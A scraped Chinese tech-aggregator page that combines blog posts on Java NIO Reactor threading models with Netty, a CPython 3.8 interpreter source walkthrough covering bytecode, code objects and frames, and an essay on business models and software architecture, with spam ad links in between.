        } else if (state == SENDING) {
            write();
        }
    }


    private void write() {
        try {
            socketChannel.write(outputBuffer);
        } catch (IOException e) {
            e.printStackTrace();
        }
        while (outIsComplete()) {
            seletionKey.cancel();
        }
    }

    private void read() {
        try {
            socketChannel.read(inputBuffer);
            if (inputIsComplete()) {
                process();
                System.out.println("接收到來自客戶端(" + socketChannel.socket().getInetAddress().getHostAddress()
                        + ")的消息:" + new String(inputBuffer.array()));
                seletionKey.attach(new Sender());
                seletionKey.interestOps(SelectionKey.OP_WRITE);
                seletionKey.selector().wakeup();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public boolean inputIsComplete() {
        return true;
    }
    public boolean outIsComplete() {
        return true;
    }


    public void process() {
        // do something...
    }

    class Sender implements Runnable {
        @Override
        public void run() {
            try {
                socketChannel.write(outputBuffer);
            } catch (IOException e) {
                e.printStackTrace();
            }
            if (outIsComplete()) {
                seletionKey.cancel();
            }
        }
    }

}

這個模型和上面的NIO流程很類似,只是將消息相關處理獨立到了Handler中去了!雖然說到NIO一個線程就可以支持所有的IO處理。但是瓶頸也是顯而易見的!如果這個客戶端多次進行請求,如果在Handler中的處理速度較慢,那麼後續的客戶端請求都會被積壓,導致響應變慢!所以引入了Reactor多線程模型!

Reactor多線程模型設計

Reactor多線程模型就是將Handler中的IO操作和非IO操作分開,操作IO的線程稱為IO線程,非IO操作的線程稱為工作線程!這樣的話,客戶端的請求會直接被丟到線程池中,客戶端發送請求就不會堵塞!

Reactor保持不變,僅需要改動Handler代碼:

public class Handler implements Runnable{
    private final static int DEFAULT_SIZE = 1024;
    private final SocketChannel socketChannel;
    private final SelectionKey seletionKey;
    private static final int READING = 0;
    private static final int SENDING = 1;
    private int state = READING;

    ByteBuffer inputBuffer = ByteBuffer.allocate(DEFAULT_SIZE);
    ByteBuffer outputBuffer = ByteBuffer.allocate(DEFAULT_SIZE);

    private static ExecutorService executorService = Executors.newFixedThreadPool(Runtime.getRuntime()
            .availableProcessors());
    private static final int PROCESSING = 3;
    private Selector selector;


    public Handler(Selector selector, SocketChannel channel) throws IOException {
        this.selector = selector;
        this.socketChannel = channel;
        socketChannel.configureBlocking(false);
        this.seletionKey = socketChannel.register(selector, 0);
        seletionKey.attach(this);
        seletionKey.interestOps(SelectionKey.OP_READ);
        selector.wakeup();
    }

    @Override
    public void run() {
        if (state == READING) {
            read();
        } else if (state == SENDING) {
            write();
        }
    }

    private void write() {
        try {
            socketChannel.write(outputBuffer);
        } catch (IOException e) {
            e.printStackTrace();
        }
        while (outIsComplete()) {
            seletionKey.cancel();
        }
    }

    private void read() {
        try {
            socketChannel.read(inputBuffer);
            if (inputIsComplete()) {
                process();
                executorService.execute(new Processer());
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public boolean inputIsComplete() {
        return true;
    }
    public boolean outIsComplete() {
        return true;
    }


    public void process() {
        // do something...
    }

    class Sender implements Runnable {
        @Override
        public void run() {
            try {
                socketChannel.write(outputBuffer);
            } catch (IOException e) {
                e.printStackTrace();
            }
            if (outIsComplete()) {
                seletionKey.cancel();
            }
        }
    }

    synchronized void processAndHandOff() {
        process();
        // or rebind attachment
        state = SENDING;
        seletionKey.interestOps(SelectionKey.OP_WRITE);
        selector.wakeup();
    }

    class Processer implements Runnable {
        @Override
        public void run() {
            processAndHandOff();
        }
    }

}

主從Reactor多線程模型設計

主從Reactor多線程模型是將Reactor分成兩部分,mainReactor負責監聽server socket,accept新連接,並將建立的socket分派給subReactor。subReactor負責多路分離已連接的socket,讀寫網絡數據,對業務處理功能,其扔給worker線程池完成。通常,subReactor個數上可與CPU個數等同:

Handler保持不變,僅需要改動Reactor代碼:

public class Reactor {
    // also create threads
    Selector[] selectors;
    AtomicInteger next = new AtomicInteger(0);
    final ServerSocketChannel serverSocketChannel;

    private static ExecutorService sunReactors = Executors.newFixedThreadPool(Runtime.getRuntime()
            .availableProcessors());
    private static final int PROCESSING = 3;

    public Reactor(int port) throws IOException {
        serverSocketChannel = ServerSocketChannel.open();
        serverSocketChannel.socket().bind(new InetSocketAddress(port));
        serverSocketChannel.configureBlocking(false);
        selectors = new Selector[4];
        for (int i = 0; i < selectors.length; i++) {
            Selector selector = selectors[i];
            serverSocketChannel.socket().bind(new InetSocketAddress(port));
            serverSocketChannel.configureBlocking(false);
            SelectionKey key = serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
            key.attach(new Acceptor());
            new Thread(()->{
                while (!Thread.interrupted()) {
                    try {
                        selector.select();
                        Set<SelectionKey> selectionKeys = selector.selectedKeys();
                        for (SelectionKey selectionKey : selectionKeys) {
                            dispatch(selectionKey);
                        }
                        selectionKeys.clear();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
            }).start();
        }
    }



    private void dispatch(SelectionKey selectionKey) {
        Runnable run = (Runnable) selectionKey.attachment();
        if (run != null) {
            run.run();
        }
    }

    class Acceptor implements Runnable {
        @Override
        public void run() {
            try {
                SocketChannel channel = serverSocketChannel.accept();
                if (channel != null) {
                    sunReactors.execute(new Handler(selectors[next.getAndIncrement() % selectors.length], channel));
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    public static void main(String[] args) throws IOException {
        new Reactor(1234);
    }

}

以上是三種不同的設計思路,接下來看一下Netty這個一個高性能NIO框架,其是如何實現Reactor模型的!

Netty Reactor模型設計

  • 看一個最簡單的Netty服務端代碼
public final class EchoServer {
    static final int PORT = Integer.parseInt(System.getProperty("port", "8007"));
    public static void main(String[] args) throws Exception {
        // Configure the server.
        EventLoopGroup bossGroup = new NioEventLoopGroup(1);
        EventLoopGroup workerGroup = new NioEventLoopGroup();
        final EchoServerHandler serverHandler = new EchoServerHandler();
        try {
            ServerBootstrap b = new ServerBootstrap();
            b.group(bossGroup, workerGroup)
             .channel(NioServerSocketChannel.class)
             .option(ChannelOption.SO_BACKLOG, 100)
             .handler(new LoggingHandler(LogLevel.INFO))
             .childHandler(new ChannelInitializer<SocketChannel>() {
                 @Override
                 public void initChannel(SocketChannel ch) throws Exception {
                     ChannelPipeline p = ch.pipeline();
                     p.addLast(serverHandler);
                 }
             });
            ChannelFuture f = b.bind(PORT).sync();
            f.channel().closeFuture().sync();
        } finally {
            bossGroup.shutdownGracefully();
            workerGroup.shutdownGracefully();
        }
    }
}
  • Netty Server Handler
public class EchoServerHandler extends ChannelInboundHandlerAdapter {

    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) {
        ctx.write(msg);
    }

    @Override
    public void channelReadComplete(ChannelHandlerContext ctx) {
        ctx.flush();
    }

    @Override
    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
        // Close the connection when an exception is raised.
        cause.printStackTrace();
        ctx.close();
    }
}

我們從Netty服務器代碼來看,與Reactor模型進行對應!

  • EventLoopGroup就相當於是Reactor,bossGroup對應主Reactor,workerGroup對應從Reactor
  • TimeServerHandler就是Handler
  • child開頭的方法配置的是客戶端channel,非child開頭的方法配置的是服務端channel

當然Netty的線程模型並不是固定的,它支持Reactor單線程模型、Reactor多線程模型、主從模型,上面的例子是一個主從模型的,下面進行詳細的分析,如圖所示:

服務啟動時,創建了兩個EventLoopGroup,它們實際上是兩個Reactor線程池,一個用於接收TCP連接、一個用於處理I/O相關的讀寫操作、或者執行系統task、定時task等;

  • Netty用於接收客戶端請求連接池職責如下:
    • 接收客戶端請求並初始化channel參數;
    • 講鏈路變更事件通知給ChannelPipiline;
  • Netty用於處理I/O連接池職責如下:
    • 異步讀取通信對端的數據報,發送讀事件到ChannelPipiline;
    • 異步發送消息對端的數據報,調用ChannelPipiline的消息發送接口;
    • 執行系統調用task;
    • 執行系統定時任務task,例如鏈路空閑狀態檢測定時任務;

參考

Scalable IO in Java

高性能Server—Reactor模型

NIO技術概覽

《Netty 權威指南》第二版 — 李林峰

你的鼓勵也是我創作的動力

打賞地址

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※推薦台中搬家公司優質服務,可到府估價

python3 源碼閱讀-虛擬機運行原理

閱讀源碼版本python 3.8.3

參考書籍<<Python源碼剖析>>

參考書籍<<Python學習手冊 第4版>>

官網文檔目錄介紹

  1. Doc目錄主要是官方文檔的說明。
  2. Include:目錄主要包括了Python的運行的頭文件。
  3. Lib:目錄主要包括了用Python實現的標準庫。
  4. Modules: 該目錄中包含了所有用C語言編寫的模塊,比如random、cStringIO等。Modules中的模塊是那些對速度要求非常嚴格的模塊,而有一些對速度沒有太嚴格要求的模塊,比如os,就是用Python編寫,並且放在Lib目錄下的
  5. Objects:該目錄中包含了所有Python的內建對象,包括整數、list、dict等。同時,該目錄還包括了Python在運行時需要的所有的內部使用對象的實現。
  6. Parser:該目錄中包含了Python解釋器中的Scanner和Parser部分,即對Python源碼進行詞法分析和語法分析的部分。除了這些,Parser目錄下還包含了一些有用的工具,這些工具能夠根據Python語言的語法自動生成Python語言的詞法和語法分析器,將python文件編譯生成語法樹等相關工作。
  7. Programs目錄主要包括了python的入口函數。
  8. Python:目錄主要包括了Python動態運行時執行的代碼,裡面包括編譯、字節碼解釋器等工作。

1. 總體架構

  • Runtime Env:python運行時環境,初始化對象/類型系統(Object/Type structures),內存分配器(Memory Allocator) 和 運行時狀態信息 (Current state of Python)。運行時狀態維護了解釋器在執行字節碼時不同的狀態(如正常和異常)之間的切換動作,可以視為一個巨大而複雜的有窮狀態機。內存管理機制可參考另外一篇文章Python3 源碼閱讀 – 內存管理機制。

  • Python Core: 中間部分是python的核心—-解釋器(PyInterpreter), 也可以成為PVM。大致流程就是 先對.py程序進行此法分析,將文件輸入的源代碼或從命令行輸入的一行行python代碼切分一個個Token, 然後使用Parser進行語法分析,建立抽象語法樹(AST), Compiler根據AST生成字節碼指令集合,最後由Code Evaluator來執行這些字節碼。

  • File Groups: Python Lib庫和用戶自己的模塊包等源代碼文件

2. Run Python文件的啟動流程

Python啟動是由Programs下的python.c文件中的main函數開始執行

/* Minimal main program -- everything is loaded from the library */

#include "Python.h"
#include "pycore_pylifecycle.h"

#ifdef MS_WINDOWS
int
wmain(int argc, wchar_t **argv)
{
    return Py_Main(argc, argv);
}
#else
int
main(int argc, char **argv)
{
    return Py_BytesMain(argc, argv);
}
#endif
int
Py_Main(int argc, wchar_t **argv) {
    ...
    return pymian_main(&args);
}

static int
pymain_main(_PyArgv *args)
{
    PyStatus status = pymain_init(args);  // 初始化
    if (_PyStatus_IS_EXIT(status)) {
        pymain_free();
        return status.exitcode;
    }
    if (_PyStatus_EXCEPTION(status)) {
        pymain_exit_error(status);
    }

    return Py_RunMain();
}

2.1 初始化關鍵流程

  • 初始化一些與配置項 如:開啟utf-8模式,設置Python內存分配器
  • 初始化pyinit_core核心部分
    • 創建生命周期 pycore_init_runtime, 同時生成HashRandom
    • 初始化線程和解釋器並創建GIL鎖 pycore_create_interpreter
    • 初始化所有基礎類型,list, int, tuple等 pycore_init_types
    • 初始化sys模塊 _PySys_Create
    • 初始化內建函數或者對象,如map, None, True等 pycore_init_builtins
      • 其中包括內建的錯誤類型初始化 _PyBuiltins_AddExceptions

Python3.8 對Python解釋器的初始化做了重構PEP 587-Python初始化配置

2.2 run 相關源碼閱讀

int
Py_RunMain(void)
{
    int exitcode = 0;
	
    pymain_run_python(&exitcode);  //執行python腳本

	if (Py_FinalizeEx() < 0) {  // 釋放資源
        /* Value unlikely to be confused with a non-error exit status or
           other special meaning */
        exitcode = 120;
    }

    pymain_free();   // 釋放資源

    if (_Py_UnhandledKeyboardInterrupt) {
        exitcode = exit_sigint();
    }

    return exitcode;
}


static void
pymain_run_python(int *exitcode)
{   
    // 獲取一個持有GIL鎖的解釋器
    PyInterpreterState *interp = _PyInterpreterState_GET_UNSAFE();
    /* pymain_run_stdin() modify the config */
    ... // 添加sys_path等操作

    if (config->run_command) {
        // 命令行模式
        *exitcode = pymain_run_command(config->run_command, &cf); 
    }
    else if (config->run_module) {
        // 模塊名
        *exitcode = pymain_run_module(config->run_module, 1);
    }
    else if (main_importer_path != NULL) {
        *exitcode = pymain_run_module(L"__main__", 0);
    }
    else if (config->run_filename != NULL) {
        // 文件名
        *exitcode = pymain_run_file(config, &cf);
    }
    else {
        *exitcode = pymain_run_stdin(config, &cf);
    }

	...
}

/* Parse input from a file and execute it */ //Python/pythonrun.c
int
PyRun_AnyFileExFlags(FILE *fp, const char *filename, int closeit,
                     PyCompilerFlags *flags)
{
    if (filename == NULL)
        filename = "???";
    if (Py_FdIsInteractive(fp, filename)) {
        int err = PyRun_InteractiveLoopFlags(fp, filename, flags);  // 是否是交互模式
        if (closeit)
            fclose(fp);
        return err;
    }
    else
        return PyRun_SimpleFileExFlags(fp, filename, closeit, flags);   // 執行腳本
}

// 執行python .py文件
int
PyRun_SimpleFileExFlags(FILE *fp, const char *filename, int closeit,
                        PyCompilerFlags *flags)
{
    ...
    if (maybe_pyc_file(fp, filename, ext, closeit)) {
        FILE *pyc_fp;
        /* Try to run a pyc file. First, re-open in binary */
        ...
        v = run_pyc_file(pyc_fp, filename, d, d, flags);
    } else {
        /* When running from stdin, leave __main__.__loader__ alone */
        ...
        v = PyRun_FileExFlags(fp, filename, Py_file_input, d, d,
                              closeit, flags);
    }
    ...
}

PyObject *
PyRun_FileExFlags(FILE *fp, const char *filename_str, int start, PyObject *globals,
                  PyObject *locals, int closeit, PyCompilerFlags *flags)
{
    ...
    // // 解析傳入的腳本,解析成AST
    mod = PyParser_ASTFromFileObject(fp, filename, NULL, start, 0, 0,
                                     flags, NULL, arena); 
    ...
    // 將AST編譯成字節碼然後啟動字節碼解釋器執行編譯結果
    ret = run_mod(mod, filename, globals, locals, flags, arena);
    ...
}

// 查看run_mode
static PyObject *
run_mod(mod_ty mod, PyObject *filename, PyObject *globals, PyObject *locals,
            PyCompilerFlags *flags, PyArena *arena)
{
    ...
    // 將AST編譯成字節碼
    co = PyAST_CompileObject(mod, filename, flags, -1, arena);  
    ...

    // 解釋執行編譯的字節碼
    v = run_eval_code_obj(co, globals, locals);
    Py_DECREF(co);
    return v;
}

2.3 字節碼查看案例

新建test.py

def show(a):
    return  a


if __name__ == "__main__":
    print(show(10))

執行命令: python3 -m dis test.py

λ ppython3 -m dis test.py
  3           0 LOAD_CONST               0 (<code object show at 0x000000E7FC89E270, file "test.py", line 3>)
              2 LOAD_CONST               1 ('show')
              4 MAKE_FUNCTION            0
              6 STORE_NAME               0 (show)

  7           8 LOAD_NAME                1 (__name__)
             10 LOAD_CONST               2 ('__main__')
             12 COMPARE_OP               2 (==)
             14 POP_JUMP_IF_FALSE       28

  8          16 LOAD_NAME                2 (print)
             18 LOAD_NAME                0 (show)
             20 LOAD_CONST               3 (10)
             22 CALL_FUNCTION            1
             24 CALL_FUNCTION            1
             26 POP_TOP
        >>   28 LOAD_CONST               4 (None)

左邊3, 7, 8表示 test.py中的第一行和第二行,右邊表示python byte code

Include/opcode.h 發現總共有 163 個 opcode, 所有的 python 源文件(Lib庫中的文件)都會被編譯器翻譯成由 opcode 組成的 pyx 文件,並緩存在執行目錄,下次啟動程序如果源代碼沒有修改過,則直接加載這個pyx文件,這個文件的存在可以加快 python 的加載速度。普通.py文件如我們的test.py 是直接進行編譯解釋執行的,不會生成.pyc文件,想生成test.pyc 需要使用python內置的py_compile模塊來編譯該文件,或者執行命令python3 -m test.py python生成.pyc文件

嚴格意義上來說: 只有文件導入import 的情況下字節碼.pyc文件才會保存下來,__pycache__ — 《python學習手冊(第四版) Page40》

2.4 python中的code對象

字節碼在python虛擬機中對應的是PyCodeObject對象, .pyc文件是字節碼在磁盤上的表現形式。python編譯的過程中,一個代碼塊就對應一個code對象,那麼如何確定多少代碼算是一個Code Block呢? 編譯過程中遇到一個新的命名空間或者作用域時就生成一個code對象,即類或函數都是一個代碼塊,一個code的類型結構就是PyCodeObject, 參考Junnplus

/* Bytecode object */
typedef struct {
    PyObject_HEAD
    int co_argcount;            /* #arguments, except *args */     // 位置參數的個數,
    int co_posonlyargcount;     /* #positional only arguments */  
    int co_kwonlyargcount;      /* #keyword only arguments */
    int co_nlocals;             /* #local variables */
    int co_stacksize;           /* #entries needed for evaluation stack */
    int co_flags;               /* CO_..., see below */
    int co_firstlineno;         /* first source line number */
    PyObject *co_code;          /* instruction opcodes */
    PyObject *co_consts;        /* list (constants used) */
    PyObject *co_names;         /* list of strings (names used) */
    PyObject *co_varnames;      /* tuple of strings (local variable names) */
    PyObject *co_freevars;      /* tuple of strings (free variable names) */
    PyObject *co_cellvars;      /* tuple of strings (cell variable names) */
    /* The rest aren't used in either hash or comparisons, except for co_name,
       used in both. This is done to preserve the name and line number
       for tracebacks and debuggers; otherwise, constant de-duplication
       would collapse identical functions/lambdas defined on different lines.
    */
    Py_ssize_t *co_cell2arg;    /* Maps cell vars which are arguments. */
    PyObject *co_filename;      /* unicode (where it was loaded from) */
    PyObject *co_name;          /* unicode (name, for reference) */
    PyObject *co_lnotab;        /* string (encoding addr<->lineno mapping) See
                                   Objects/lnotab_notes.txt for details. */
    void *co_zombieframe;       /* for optimization only (see frameobject.c) */
    PyObject *co_weakreflist;   /* to support weakrefs to code objects */
    /* Scratch space for extra data relating to the code object.
       Type is a void* to keep the format private in codeobject.c to force
       people to go through the proper APIs. */
    void *co_extra;

    /* Per opcodes just-in-time cache
     *
     * To reduce cache size, we use indirect mapping from opcode index to
     * cache object:
     *   cache = co_opcache[co_opcache_map[next_instr - first_instr] - 1]
     */

    // co_opcache_map is indexed by (next_instr - first_instr).
    //  * 0 means there is no cache for this opcode.
    //  * n > 0 means there is cache in co_opcache[n-1].
    unsigned char *co_opcache_map;
    _PyOpcache *co_opcache;
    int co_opcache_flag;  // used to determine when create a cache.
    unsigned char co_opcache_size;  // length of co_opcache.
} PyCodeObject;
Field Content Type
co_argcount Code Block 的參數個數 PyIntObject
co_posonlyargcount Code Block 的位置參數個數 PyIntObject
co_kwonlyargcount Code Block 的關鍵字參數個數 PyIntObject
co_nlocals Code Block 中局部變量的個數 PyIntObject
co_stacksize Code Block 的棧大小 PyIntObject
co_flags N/A PyIntObject
co_firstlineno Code Block 對應的 .py 文件中的起始行號 PyIntObject
co_code Code Block 編譯所得的字節碼 PyBytesObject
co_consts Code Block 中的常量集合 PyTupleObject
co_names Code Block 中的符號集合 PyTupleObject
co_varnames Code Block 中的局部變量名集合 PyTupleObject
co_freevars Code Block 中的自由變量名集合 PyTupleObject
co_cellvars Code Block 中嵌套函數所引用的局部變量名集合 PyTupleObject
co_cell2arg N/A PyTupleObject
co_filename Code Block 對應的 .py 文件名 PyUnicodeObject
co_name Code Block 的名字,通常是函數名/類名/模塊名 PyUnicodeObject
co_lnotab Code Block 的字節碼指令於 .py 文件中 source code 行號對應關係 PyBytesObject
co_opcache_map python3.8新增字段,存儲字節碼索引與CodeBlock對象的映射關係 PyDictObject

2.4.1 LOAD_CONST

// Python\ceval.c
PREDICTED(LOAD_CONST);     -> line 943: #define PREDICTED(op)           PRED_##op:
FAST_DISPATCH();           -> line 876 #define FAST_DISPATCH() goto fast_next_opcode

額外收穫: c 語言中 ##和# 號 在marco 里的作用可以參考 這篇

在宏定義里, ## 被稱為連接符(concatenator) , a##b 表示將ab連接起來

a 表示把a轉換成字符串,即加雙引號,

所以LONAD_CONST這個指領根據宏定義展開如下:

case TARGET(LOAD_CONST): {
    PRED_LOAD_CONST:
    PyObject *value = GETITEM(consts, oparg); // 獲取一個PyObject* 指針對象
    Py_INCREF(value);  // 引用計數加1
    PUSH(value);     // 把剛剛創建的PyObject* push到當前的frame的stack上, 以便下一個指令從這個 stack 上面獲取
    goto fast_next_opcode;

2.5 main_loop

// Python\ceval.c
main_loop:
    for (;;) {
        ...
            
        switch (opcode) {
 
        /* BEWARE!
           It is essential that any operation that fails must goto error
           and that all operation that succeed call [FAST_]DISPATCH() ! */
 
        case TARGET(NOP): {
            FAST_DISPATCH();
        }
 
        case TARGET(LOAD_FAST): {
            PyObject *value = GETLOCAL(oparg);
            if (value == NULL) {
                format_exc_check_arg(PyExc_UnboundLocalError,
                                     UNBOUNDLOCAL_ERROR_MSG,
                                     PyTuple_GetItem(co->co_varnames, oparg));
                goto error;
            }
            Py_INCREF(value);
            PUSH(value);
            FAST_DISPATCH();
        }
 
        case TARGET(LOAD_CONST): {
            PREDICTED(LOAD_CONST);
            PyObject *value = GETITEM(consts, oparg);
            Py_INCREF(value);
            PUSH(value);
            FAST_DISPATCH();
        }
        ...
    }
}

在 python 虛擬機中,解釋器主要在一個很大的循環中,不停地讀入 opcode, 並根據 opcode 執行對應的指令,當執行完所有指令虛擬機退出,程序也就結束了

2.6 總結

過程描述:

  1. python先把代碼(.py文件)編譯成字節碼,交給字節碼虛擬機,然後虛擬機會從編譯得到的PyCodeObject對象中一條一條執行字節碼指令,並在當前的上下文環境中執行這條字節碼指令,從而完成程序的執行。Python虛擬機實際上是在模擬操作中執行文件的過程。PyCodeObject對象中包含了字節碼指令以及程序的所有靜態信息,但沒有包含程序運行時的動態信息——執行環境(PyFrameObject),後面會繼續記錄執行環境的閱讀。
  2. 從整體上看:OS中執行程序離不開兩個概念:進程和線程。python中模擬了這兩個概念,模擬進程和線程的分別是PyInterpreterStatePyTreadState。即:每個PyThreadState都對應着一個幀棧,python虛擬機在多個線程上切換(靠GIL實現線程之間的同步)。當python虛擬機開始執行時,它會先進行一些初始化操作,最後進入PyEval_EvalFramEx函數,內部實現了一個main_loop它的作用是不斷讀取編譯好的字節碼,並一條一條執行,類似CPU執行指令的過程。函數內部主要是一個switch結構,根據字節碼的不同執行不同的代碼

3. Python中的Frame

如上所說,PyCodeObject對象只是包含了字節碼指令集以及程序的相關靜態信息,虛擬機的執行還需要一個執行環境,即PyFrameObject,也就是對系統棧幀的模擬。

3.1 堆和棧的認識

堆中存的是對象。棧中存的是基本數據類型和堆中對象的引用。一個對象的大小是不可估計的,或者說是可以動態變化的,但是在棧中,一個對象只對應了一個4btye的引用(堆棧分離的好處)

內存中的堆棧和數據結構堆棧不是一個概念,可以說內存中的堆棧是真實存在的物理區,數據結構中的堆棧是抽象的數據存儲結構。

內存空間在邏輯上分為三部分:代碼區,靜態數據區和動態數據區,動態數據區有分為堆區和棧區

  • 代碼區:存儲的二進制代碼塊,高級調度(作業調度)、中級調度(內存調度)、低級調度(進程調度)控制代碼區執行代碼的切換
  • 靜態數據區:存儲全局變量,靜態變量,常量,系統自動分配和回收。
  • 動態數據區:
    • 棧區(stack):存儲運行方法的形參,局部變量,返回值,有編譯器自動分配和回收,操作類似數據結構中的棧
    • 堆區(heap):new一個對象的引用或者地址存儲在棧區,該地址指向指向對象存儲在堆區中的真實數據。如c中的malloc函數,python中的Pymalloc

3.2 PyFrameObject對象

typedef struct _frame{  
    PyObject_VAR_HEAD //"運行時棧"的大小是不確定的, 所以用可變長的對象
    struct _frame *f_back; //執行環境鏈上的前一個frame,很多個PyFrameObject連接起來形成執行環境鏈表  
    PyCodeObject *f_code; //PyCodeObject 對象,這個frame就是這個PyCodeObject對象的上下文環境  
    PyObject *f_builtins; //builtin名字空間  
    PyObject *f_globals;  //global名字空間  
    PyObject *f_locals;   //local名字空間  
    PyObject **f_valuestack; //"運行時棧"的棧底位置  
    PyObject **f_stacktop;   //"運行時棧"的棧頂位置  
    //...  
    int f_lasti;  //上一條字節碼指令在f_code中的偏移位置  
    int f_lineno; //當前字節碼對應的源代碼行  
    //...  
      
    //動態內存,維護(局部變量+cell對象集合+free對象集合+運行時棧)所需要的空間  
    PyObject *f_localsplus[1];    
} PyFrameObject; 

如果你想知道 PyFrameObject 中每個字段的意義, 請參考 Junnplus’ blog 或者直接閱讀源代碼,了解frame的執行過程可以參考zpoint’blog.

名字空間實際上是維護着變量名和變量值之間關係的PyDictObject對象。
f_builtins, f_globals, f_locals名字空間分別維護了builtin, global, local的name與對應值之間的映射關係。

每一個 PyFrameObject對象都維護了一個 PyCodeObject對象,這表明每一個 PyFrameObject中的動態內存空間對象都和源代碼中的一段Code相對應。

3.2.1 棧幀的獲取,工作中會用到

可以通過sys._getframe([depth]), 獲取指定深度的PyFrameObject對象

>>> import sys
>>> frame = sys._getframe()
>>> frame
<frame object at 0x103ab2d48>

3.2.2 python中變量名的解析規則 LEGB

Local -> Enclosed -> Global -> Built-In

  • Local 表示局部變量

  • Enclosed 表示嵌套的變量

  • Global 表示全局變量

  • Built-In 表示內建變量

如果這幾個順序都取不到,就會拋出 ValueError

可以在這個網站python執行可視化網站,觀察代碼執行流程,以及變量的轉換賦值情況。

4. 額外收穫

意外收穫: 之前知道pythonGIL , 遇到I/O阻塞時會釋放gil,現在從源碼中看到了對應的流程

if (_Py_atomic_load_relaxed(&ceval->gil_drop_request)) {
    /* Give another thread a chance */
    if (_PyThreadState_Swap(&runtime->gilstate, NULL) != tstate) {
        Py_FatalError("ceval: tstate mix-up");
    }
    drop_gil(ceval, tstate);

    /* Other threads may run now */

    take_gil(ceval, tstate);

    /* Check if we should make a quick exit. */
    exit_thread_if_finalizing(runtime, tstate);

    if (_PyThreadState_Swap(&runtime->gilstate, tstate) != NULL) {
        Py_FatalError("ceval: orphan tstate");
    }
}
/* Check for asynchronous exceptions. */

參考:

python 源碼分析 基本篇

python虛擬機運行原理

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

網頁設計最專業,超強功能平台可客製化

架構C02:商業模式與架構設計

商業模式與架構設計:A段架構與B段架構

《思考軟件創新設計:A段架構師思考技術》 A段架構師必須具備鮮活的創新思維,睿智的策略思考,犀利的洞察力和靈活的戰術才能把握稍縱即逝的商機                                                       

 

 

 

 

 

 

 

 

 

 

 

  

  段架構師 B段架構師
關注點 產品策略規劃 實踐策略,執行能力,技術變遷
協作對象 協助產品經理 協助研發經理生產經理
思維的差異 獲利思維,知彼才能在複雜商業環境生存 成本思維,知己才能在成本和收益做出合適選擇

 

                目前我們所接觸的大多是B段技術的架構,更關注“知己”,我們做研發改進,敏捷管理,技術重構,就是為了更好的平衡技術的成本和業務的收益  

 A段架構與商業模式:以不變應萬變

 

架構師需要考慮的商業要素

決策前(A段設計)—->決策點—>決策后(B段設計)  

商業思維三要素:商業模式,架構模式,創新產品

 

軟件是現實世界的映射和抽象

現實世界是複雜多變的,所以由需求就是複雜多變的,軟件也是複雜多變的, 所以現實中組織要發展就要面對變化的適合的變化,反應到軟件上也會隨需求的變化而變化,所以軟件本質上是一個演化的系統,是一個複雜的系統  

商業與技術的關係

商業維度,現實世界是複雜多變的組織需要不停的適應市場的變化, 從產品維度需要不停的創新滿足客戶和市場的需求, 而從技術和架構的維度來看,架構則希望更少的信息熵,用更少的技術元素來表述更多的業務結構,這也正是為什麼我們追求模型,模式,結構與算法  

 商業和產品做加法,架構設計做減法 

在複雜的現實中,用簡單的抽象來支撐商業的變化,用靈活的設計支持業務的創新   《深奧的簡潔》是一本科普讀物,裏面講述了碎行,自我組織,自我類似等等自然界好些美妙的規律 https://zh.wikipedia.org/wiki/%E5%88%86%E5%BD%A2#%E7%A4%BA%E4%BE%8B    

大樹的隱喻描述商業,架構,研發技術生產管理

大樹的上層是枝恭弘=叶 恭弘,要吸收陽光雨露,要開花結果,是對外界展示的活躍和生機的一面,這裏用來表述商業模式和創新產品 這些都是要變化的部分,而且收外部影響較明顯   再次是樹榦是中層A段架構,中層要求穩既要約束和輔助枝恭弘=叶 恭弘發展和繁榮又要保護下層樹根承受壓力   下層部分的話就是B段架構,生產,技術,管理,這些是看不見但是很重要的元素,是整個樹木生命繁榮的根本    

從複雜中抽象出簡單,用簡單和較少信息熵,應對複雜多變的商業和產品

簡單的有序的產品和架構設計,通過一定的約束組合可以形成一個富有活力的系統,底層元素的簡單又保證了它可以包容現實中的複雜變化,應對紛繁複雜的現實情況,支持商業的變革和產品的創新    

B段架構技術和業務的矛盾:用成本收益作為衡量標準

 

變的是需求和技術,不變的是成本與收益評估,是要創造價值的目標

  “你這個功能啥時候能上? ” “這個有難度目前不行,需要做重構,技術細節blablabla…” “提這麼多需求沒幾個有用的,根本不懂技術實現,你要覺的能行為啥你不上”   產品和技術的矛盾點: 1. 資源的搶佔 2. 成本的評估 3.內外部目標的差異 4.內部目標設定不合理  

解決問題:業務知識+成本核算

技術要了解業務背景,業務收益,要解決的問題是什麼?只有這樣才能解決問題,做出架構設計,做出模型設計,解決業務問題,幫助客戶解決現實場景的問題  

優秀的架構要融和技術與業務的平衡和成本收益的評估

  1. 清晰服務業務短期目標,明確技術定位,輔助實現當前階段業務訴求 2. 協調技術資源投入和分配 3. 進行成本與收益的評估,確定做哪些,不做那些,先做那些,怎麼做收益更大 4. 預留長期技術規劃和儲備  

我們是解決昨日之債務,還是準備迎接今日之挑戰?

衡量的標準就是做這件事的收益?   產品和業務做哪些收益更大:產品的願景和價值觀 本年度看做哪些收益更大(OKR) 本季度本月做哪些收益最大(月度發版路標規劃) 當天本周做哪些收益最大(周計劃)  

舊系統的改造 OR 新技術的引進?

